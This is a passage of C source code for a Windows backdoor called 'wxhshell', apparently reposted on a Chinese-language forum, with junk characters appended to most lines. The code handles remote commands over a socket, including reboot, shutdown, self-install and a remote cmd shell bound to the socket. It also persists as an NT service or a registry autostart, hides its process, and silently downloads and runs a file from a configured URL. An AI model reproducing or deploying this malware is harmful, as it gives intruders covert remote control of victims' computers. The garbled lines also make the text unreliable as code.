tYVmB:l  
    switch(cmd[0]) { pJV<#<#Z  
  ;0 ,-ywK  
  // 帮助 emTqbO  
  case '?': { Qv#]T,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BYRf MtT@+  
    break; SI-s:%O  
  } M-eX>}CDm  
  // 安装 -2f_e3jF  
  case 'i': { `Os@/S  
    if(Install()) )!3sB{ H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6yMk%  
    else h/5.>[VwDh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wPyfne?~,  
    break; : x W.(^(d  
    } 6m?}oMz  
  // 卸载 rq>@ 0i  
  case 'r': { :Oxrw5`=  
    if(Uninstall()) h(ZZ7(ue  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1Vuf<?C  
    else g%Eb{~v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0ZTT^2R  
    break; y%f'7YZ4  
    } I t",WFE.  
  // 显示 wxhshell 所在路径 af.yC[  
  case 'p': { 67 ^?v)|  
    char svExeFile[MAX_PATH]; N_wB  
    strcpy(svExeFile,"\n\r"); WS4J a$*  
      strcat(svExeFile,ExeFile); L2+~I<|>  
        send(wsh,svExeFile,strlen(svExeFile),0); }qxw Nmx  
    break; 6VW&An[6r  
    } +hGr2%*0f  
  // 重启 ;~F&b:CyG  
  case 'b': { kyMWO*>|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g6MK~JG$?h  
    if(Boot(REBOOT)) )ui]vS:>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eqV;4dhm  
    else { Y$ ZZ0m  
    closesocket(wsh); 4~4D1  
    ExitThread(0); bs/Vn'CE  
    } (/JiOg^cw  
    break; uS;N&6;:  
    } M $ CnaH  
  // 关机 F@UbUm2o  
  case 'd': { jhg0H2C8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wX[g\,?}'  
    if(Boot(SHUTDOWN)) IBZ_xU\2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |U)M.\h  
    else { 8(]*J8/wt  
    closesocket(wsh); E0G"B' x  
    ExitThread(0); 0.!_k )tu  
    } "dQ02y  
    break; m5`<XwD9  
    } v;1<K@UT  
  // 获取shell h8'`g 0  
  case 's': { bL-+  
    CmdShell(wsh); dD ?ZF6  
    closesocket(wsh); NSI$uS6  
    ExitThread(0); H[S[ y  
    break; U4M}E h8  
  } dg-nv]7  
  // 退出 vnc- W3N  
  case 'x': { y\k#83aU|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); opqY@>Vh&  
    CloseIt(wsh); Y`3V&8X  
    break; @L0xU??"|  
    } ZOw%Fw4B  
  // 离开 u0p[ltJ,  
  case 'q': { Ce_k&[AJF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _Oc5g5_{  
    closesocket(wsh); -?nr q <3  
    WSACleanup(); O/ybqU\7  
    exit(1); &L`^\B]k|  
    break; %?2y2O ,;  
        } lu vrvm  
  } l$/.B=]  
  } F#=M$j_  
zl $mt'\y  
  // 提示信息 }JI@f14  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [0MNq]gxf  
} ?sD4S   
  } _xY dnTEl  
n37P$0  
  return; C8Ja>o2'  
} SR_<3WW  
v9*31Jx  
// shell模块句柄 lWPh2k  
int CmdShell(SOCKET sock) .7BJq?K.  
{ }iIZA>eF  
STARTUPINFO si; C2 4"H|D  
ZeroMemory(&si,sizeof(si)); 'Y2ImSWj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z;wOtKl5r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N2 4J!L  
PROCESS_INFORMATION ProcessInfo; n,D&pl9f  
char cmdline[]="cmd"; g^I?u$&E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hU'h78bt(  
  return 0; Xrl# DN  
} L0.F }~S  
X~g U$  
// 自身启动模式  T_)G5a  
int StartFromService(void) *(E]]8o  
{ )sN}ClgJ  
typedef struct 0uL*-/|  
{ >)^Q p-  
  DWORD ExitStatus; cS#yfN,  
  DWORD PebBaseAddress; T {:8,CiW  
  DWORD AffinityMask; U'@#n2p:k  
  DWORD BasePriority; +N}yqgE  
  ULONG UniqueProcessId; ;"B@QPX  
  ULONG InheritedFromUniqueProcessId; ,J(shc_F  
}   PROCESS_BASIC_INFORMATION; Y6G`p  
3!M|Sf<s  
PROCNTQSIP NtQueryInformationProcess; 'C7$,H'  
70 -nAv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hh!4DHv   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <c%  
<P~pn!F}  
  HANDLE             hProcess; vN&(__3((  
  PROCESS_BASIC_INFORMATION pbi; ;oCSKY4  
|_njN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S ^]mF>xX8  
  if(NULL == hInst ) return 0; 1 HY K& ',  
9+#BU$*v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :Z%-&) F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); # Rhtaq9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x7GYWK 9  
]w0_!Z&  
  if (!NtQueryInformationProcess) return 0; [2{2w68D!  
Gv&%cq1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ka/>jV"  
  if(!hProcess) return 0; )LAG$Cn  
qh|fq b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6t=)1T  
.WLwAL  
  CloseHandle(hProcess); u-M Td  
)=nB32~J"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b$q~(Z}  
if(hProcess==NULL) return 0; V3Ep&<=/  
/Z~5bb(  
HMODULE hMod; !K6:5V%q$  
char procName[255]; }Gva=N:  
unsigned long cbNeeded; +#L'g c  
8.HJoos  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J@A^k1B  
Qe =8x7oIP  
  CloseHandle(hProcess); kho$At)V  
{ub'   
if(strstr(procName,"services")) return 1; // 以服务启动 V%'' GF   
L8J] X7  
  return 0; // 注册表启动 Ax6zx  
} .=N?;i  
)# v}8aL  
// 主模块 ka@yQV  
int StartWxhshell(LPSTR lpCmdLine) %$_Y"82  
{ O{p7I&  
  SOCKET wsl; e(I;[G +%,  
BOOL val=TRUE; </pt($  
  int port=0; @HE<\Z{ KI  
  struct sockaddr_in door; .P#t"oW}  
+ B<7]\\M  
  if(wscfg.ws_autoins) Install(); N6Dv1_c,  
MU4BAN   
port=atoi(lpCmdLine); wbB\~*Z)  
#+H3b!8=  
if(port<=0) port=wscfg.ws_port; d*x&Uh[K  
.qLX jU  
  WSADATA data; Bk] `n'W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^HU>fkSk  
g_@b- :$Yq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XMzQ8|]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X4L@|"ZI  
  door.sin_family = AF_INET; \0K&2'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M< H+$}[  
  door.sin_port = htons(port); .pG`/[*a  
558!?kx$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sf O{.#5<  
closesocket(wsl); p+228K ;H  
return 1; k*OHI/uiow  
} !$/P8T``M  
7pN&fAtj/  
  if(listen(wsl,2) == INVALID_SOCKET) { n\< uT1n  
closesocket(wsl); dXPTW;w  
return 1; {mY=LaS<  
} LVy`U07CV  
  Wxhshell(wsl); eM]>"  
  WSACleanup(); cfPp>EK  
k(xB%>ns  
return 0; W6RjQ1  
{8 &=t8,c  
} vXZ )  
\O]kf>nC  
// 以NT服务方式启动 Qb7&S5m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q9c*I,O j  
{ N/[!$B0H@  
DWORD   status = 0; nbW.x7  
  DWORD   specificError = 0xfffffff; \~r_S  
A@;{ #.O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e:K'e2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0$i\/W+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xf?"Q#  
  serviceStatus.dwWin32ExitCode     = 0; ,&g-DC ag  
  serviceStatus.dwServiceSpecificExitCode = 0; \TLfLqA  
  serviceStatus.dwCheckPoint       = 0; t>Yl= 79,  
  serviceStatus.dwWaitHint       = 0; ix38|G9U  
qeC^e}h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oN)I3wO$  
  if (hServiceStatusHandle==0) return; RRro.r,  
G5lBCm   
status = GetLastError(); ,."wxP2u  
  if (status!=NO_ERROR) RU~Pa+H  
{ TEbIU8{Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~Lq`a@]A  
    serviceStatus.dwCheckPoint       = 0; "([lkn  
    serviceStatus.dwWaitHint       = 0; efuiFN;  
    serviceStatus.dwWin32ExitCode     = status; AF, ;3G  
    serviceStatus.dwServiceSpecificExitCode = specificError; FxT]*mo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2k m0  
    return; TxH amI l  
  } og_ylCh:  
BjHp3-A'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8bf@<VTO_  
  serviceStatus.dwCheckPoint       = 0; E&Zt<pRf;2  
  serviceStatus.dwWaitHint       = 0; fl4 0jo]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dA<SVk*0Q  
} .J=QWfqt  
Bat@  
// 处理NT服务事件,比如:启动、停止 >;#rK@*&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y5P9z{X=  
{ O_ vH w^  
switch(fdwControl) WqS$C;]%  
{ rCb$^(w{7  
case SERVICE_CONTROL_STOP: (!?%"e  
  serviceStatus.dwWin32ExitCode = 0; "Bz#5kqnl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i~3\dp  
  serviceStatus.dwCheckPoint   = 0; brK7|&R<  
  serviceStatus.dwWaitHint     = 0; b&]z^_m)  
  { @1qdnU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nfv` )n@  
  } OB++5Wd  
  return; i>C%[dk9  
case SERVICE_CONTROL_PAUSE:  z@~mu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 99%R/m  
  break; C' WX$!$d  
case SERVICE_CONTROL_CONTINUE: 3lKs>HE0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TH55@1W,[  
  break; ~@e=+Z  
case SERVICE_CONTROL_INTERROGATE: I,aaSBwt&2  
  break; uL:NWgN  
}; ] VEc9?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4q?R3 \e;  
} ?kRx;S+  
tOZ-]>U  
// 标准应用程序主函数 'Tskx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9yu#G7  
{ W"\+jHF"  
of >  
// 获取操作系统版本 =L;g:hc<  
OsIsNt=GetOsVer(); 7mn&w$MS4:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sQ&<cBs2  
k^#*x2b  
  // 从命令行安装 4^9qs%&  
  if(strpbrk(lpCmdLine,"iI")) Install(); >wR)p\UEb  
s7\Ee-x)s  
  // 下载执行文件 uz:r'+v  
if(wscfg.ws_downexe) { x7i,jMR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :.f( }sCS  
  WinExec(wscfg.ws_filenam,SW_HIDE); nITkgN:s  
} |x=(}g  
,#9i=gp  
if(!OsIsNt) { +i}uRO  
// 如果时win9x,隐藏进程并且设置为注册表启动 MlLM $Y-@  
HideProc(); ,Ww.W'#P  
StartWxhshell(lpCmdLine); bIzBY+P  
} P057]cAat<  
else ;y)3/46S  
  if(StartFromService()) :H]MMe  
  // 以服务方式启动 2_Zn?#G8dl  
  StartServiceCtrlDispatcher(DispatchTable); 3ly ]DTbz  
else + (`.pa z@  
  // 普通方式启动 %WqUZ+yy  
  StartWxhshell(lpCmdLine); ?B`c <H"  
.3wx}!:*|  
return 0; Ci[Ja#p7$h  
}
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只看该作者 1 发表于: 2006-10-10
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